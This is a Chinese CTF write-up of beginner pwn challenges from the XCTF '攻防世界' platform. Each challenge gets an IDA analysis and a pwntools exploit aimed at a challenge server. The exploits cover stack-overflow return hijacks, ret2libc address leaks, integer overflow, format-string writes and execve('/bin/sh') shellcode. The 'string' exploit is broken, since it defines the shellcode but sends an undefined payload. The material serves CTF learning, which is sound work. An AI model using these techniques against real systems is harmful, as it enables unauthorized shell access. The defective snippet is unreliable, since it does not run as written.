攻防世界新手pwn题writeup

level2

1.查壳

在这里插入图片描述

2.IDA分析

在这里插入图片描述
进入vulnerable_function函数

在这里插入图片描述
读入的值明显大于buf自身的大小

又有system函数,就差/bin/sh了

接下来我们

SHIFT+F12

在这里插入图片描述

双击system函数,得到地址 0x8048320

双击binsh,得到地址 0x0804a024

双击buf,得到buf到返回地址的偏移 0x88+4=140

3.EXP

from pwn import *
p=remote('111.198.29.45',53371)
sys_addr=0x8048320
binsh_addr=0x0804a024
payload='a'*140+p32(sys_addr)+'a'*4+p32(binsh_addr)
p.recvuntil("Input:")
p.sendline(payload)
p.interactive()

4.Flag

在这里插入图片描述

guess_num

1.查壳

在这里插入图片描述

2.ida分析

在这里插入图片描述gets函数存在栈溢出漏洞,再看一下有没有值得注意的

在这里插入图片描述sub_C3E中有我们想要的东西,

最开始的想法肯定是通过溢出,跳转到sub_C3E的位置,直接执行cat flag

但是发现不可行,因为中间有个seed,所以我们需要通过溢出漏洞,覆盖seed得到一个已知的种子,使程序运行到sub_C3E那里

双击v8得到v8到seed的距离0x20

通过ldd guess_num得到共享文件:/lib/x86_64-linux-gnu/libc.so.6

在这里插入图片描述

3.EXP

from pwn import *
from ctypes import *
p=remote('111.198.29.45',57730)
elf=ELF('./guess_num')
libc=cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
payload='a'*0x20+p64(1)
p.recvuntil('name:')
p.sendline(payload)
libc.srand(1)
for i in range(10):
	num=str(libc.rand()%6+1)
	p.recvuntil('number:')
	p.sendline(num)
p.interactive()

4.Flag

在这里插入图片描述

int_overflow

一看名字就知道这是一道整数溢出的题目

1.查壳

在这里插入图片描述

2.ida分析

在这里插入图片描述没什么亮点,进入login函数看看

在这里插入图片描述没什么亮点,进入check_passwd函数
在这里插入图片描述strcpy那里是个漏洞,

whats_this函数那里有我们想要的
在这里插入图片描述
要想执行strcpy函数,我们必须要使v3大于3,小于等于8,不过v3是个无符号整型,八位寄存器对于无符号整数来说是有0~255的范围的,所以我们构造255个字符,就能构成溢出,而返回地址占4个字节,所以是259
在这里插入图片描述

从这里可以看出passwd的保存为0x14,溢出,然后跳转到system函数那里,我们就能够得到flag

3.EXP

from pwn import *
p=remote('111.198.29.45',53086)
flag_addr=0x804868b
p.recvuntil('choice:')
p.sendline('1')
p.recvuntil("Please input your username:\n")
p.sendline('kk')
payload='a'*0x14+'aaaa'+p32(flag_addr)
payload=payload.ljust(262,'a')
p.recvuntil("passwd:\n")
p.sendline(payload)
p.interactive()

4.Flag

在这里插入图片描述

cgpwn2

1.查壳

在这里插入图片描述

2.ida分析

在这里插入图片描述
进入hello函数
在这里插入图片描述gets函数栈溢出漏洞
在这里插入图片描述

存在system函数,但是没有binsh字符串

又看到fgets函数,

思路有了,我们可以通过fgets函数将binsh字符串传入name里面,

然后通过栈溢出漏洞覆盖返回地址,最后调用system函数和name

system函数的地址:0x8048420

name函数的地址:0x804a080

s到返回地址的偏移 :0x26+4=42

3.EXP

from pwn import *
p=remote('111.198.29.45',58337)
sys_addr=0x8048420
name_addr=0x804a080
p.recvuntil("\n")
p.sendline('/bin/sh')
payload='a'*42+p32(sys_addr)+'aaaa'+p32(name_addr)
p.recvuntil("\n")
p.sendline(payload)
p.interactive()

4.Flag

在这里插入图片描述

when_did_you_born

1.查壳

在这里插入图片描述

2.IDA分析

在这里插入图片描述我们只需要让程序执行system(“cat flag”)即可

发现gets漏洞函数,思路有了,先让v5不等于1926然后通过gets函数覆盖v5为1926,就可以的到flag

v4到v5的距离为:0x20-0x18=8

3.EXP

from pwn import *
p=remote('111.198.29.45',47153)
p.recvuntil("What's Your Birth?")
p.sendline("1927")
payload='a'*8+p64(1926)
p.recvuntil("What's Your Name?")
p.sendline(payload)
p.interactive()

4.Flag

在这里插入图片描述

hello_pwn

1.查壳

在这里插入图片描述

2.IDA分析

在这里插入图片描述

read函数存在栈溢出漏洞,

进入sub_400686函数中

在这里插入图片描述

我们通过read函数覆盖dword_60106c为1853186401,就能得到flag

两个函数的偏移为0x601068-0x60106C=4

3.EXP

from pwn import *
p=remote('111.198.29.45',41777)
payload='a'*4+p64(1853186401)
p.recvuntil("lets get helloworld for bof")
p.sendline(payload)
p.interactive()

4.Flag

在这里插入图片描述

level3

文件打开之后还是个压缩包,改文件格式为zip

1.查壳

在这里插入图片描述

2.IDA分析

在这里插入图片描述

在这里插入图片描述

read函数栈溢出漏洞,这道题没有system函数也没有/bin/sh,但是给了我们一个共享文件,所以这是一道ret2libc的题目

我们可以泄露write函数的真实地址

buf到返回地址的偏移为140

3.EXP

通过ROPgadget --binary libc_32.so.6 --string '/bin/sh'获得libc中的binsh字符串的地址

在这里插入图片描述

from pwn import *
p=remote('111.198.29.45',57663)
elf=ELF('./level3')
libc=ELF('./libc_32.so.6')
write_plt=elf.plt['write']
main_plt=elf.symbols['main']
write_got=elf.got['write']
payload1='a'*140+p32(write_plt)+p32(main_plt)+p32(1)+p32(write_got)+p32(4)
p.recvuntil("Input:\n")
p.sendline(payload1)
write_addr=u32(p.recv()[:4])
libcbase=write_addr-libc.symbols['write']
sys_addr=libcbase+libc.symbols['system']
libc_binsh_addr=0x0015902b
binsh_addr=libcbase+libc_binsh_addr
payload='a'*140+p32(sys_addr)+'aaaa'+p32(binsh_addr)
p.sendline(payload)
p.interactive()

4.Flag

在这里插入图片描述

string

1.查壳

在这里插入图片描述

2.IDA分析

在这里插入图片描述我们可以得到v4的地址

在这里插入图片描述没啥亮点

在这里插入图片描述在这里插入图片描述printf函数存在格式化字符串漏洞

在这里插入图片描述

read函数下面可以把输入的字符串当作指令执行,我们可以写入shellcode

但是要求是a1==a1[1],往上回溯,我们查到分别是v3和v3[1],但是两个值,一个是68,一个是85.

sub_400bb9函数中格式化字符串漏洞,我们可以利用那个漏洞将v3的值改为85

而v3的地址程序中已经告诉我们了,即v4的地址0xb21260

3.EXP

八位寄存器对于无符号整数来说是有0~255的范围的。
在64位程序运行中,参数传递需要寄存器。
64位参数传递约定:前六个参数按顺序存储在寄存器rdi,rsi,rdx,rcx,r8,r9中,
参数超过六个时,从第七个开始压入栈中

from pwn import *
p=remote('111.198.29.45',43616)
p.recvuntil("sercet[0] is")
v3_addr=int(p.recvuntil("\n")[:-1],16)
p.sendlineafter("What should your character's name be:",'123')
p.sendlineafter("So,where you will go?east or up?:",'east')
p.sendlineafter("go into there(1),or leave(0)?:",'1')
p.sendlineafter("'Give me an address'",str(v3_addr))
p.sendlineafter("And,you wish is:",'%85c%7$n')
context(os='linux',arch='amd64')
shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
p.recvuntil("USE YOU SPELL")
p.sendline(payload)
p.interactive()

4.Flag

在这里插入图片描述

get_shell

1.查壳

在这里插入图片描述

2.IDA分析

在这里插入图片描述

3.EXP

nc 111.198.29.45 46953

4.Flag

在这里插入图片描述

CGfsb

1.查壳

在这里插入图片描述

2.IDA分析

在这里插入图片描述

printf函数存在格式化字符串漏洞,通过漏洞使pwnme=8,就能得到flag

这里我们用gdb算偏移

chmod 777 cg
gdb ./cg

b * 0x80486cd下断点
在这里插入图片描述

x/16x $esp

在这里插入图片描述
偏移为10

3.EXP

理解:fmtstr_payload(偏移,{key内存地址,value值})

第一个参数表示格式化字符串的偏移;

第二个参数表示需要利用%n写入的数据,采用字典形;

第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;

第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。

from pwn import *
p=remote('111.198.29.45',47218)
pwnme=0x0804a068
#payload=p32(pwnme)+'aaaa%10$n'
payload=fmtstr_payload(10,{pwnme:8})
p.recvuntil("your name:\n")
p.sendline('aaa')
p.recvuntil("message please:\n")
p.sendline(payload)
p.interactive()

4.Flag

在这里插入图片描述

我自己的公众号
在这里插入图片描述

回答: 对于攻防世界pwn新手,其中一个关键是要修改全局变量pwnme的内容。通过格式化字符串的方法,可以实现这个目标。格式化字符串的原理是利用输入的格式化字符串,修改内存中的指定位置的值。具体的方法可以参考CTF-wiki上对格式化字符串的总结。另外,还可以利用栈溢出漏洞来实现攻击。栈溢出漏洞的原理是当输入的数据超过了栈的缓冲区大小时,会覆盖到相邻的内存区域,包括函数返回地址等重要信息。通过溢出覆盖system函数的参数为"/bin/sh",就可以获取到shell权限。在IDA32中,可以通过查看字符串窗口,找到可以直接利用的字符串,比如system和/bin/sh。这样就可以猜测需要溢出覆盖system函数的参数,实现获取shell的目的。123 #### 引用[.reference_title] - *1* *2* [xctf攻防世界pwn基础解(新手食用)](https://blog.csdn.net/lplp9822/article/details/89735167)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}} ] [.reference_item] - *3* [攻防世界 pwn 二进制漏洞简单练习区 答(1-10解)](https://blog.csdn.net/qq_33957603/article/details/122450397)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值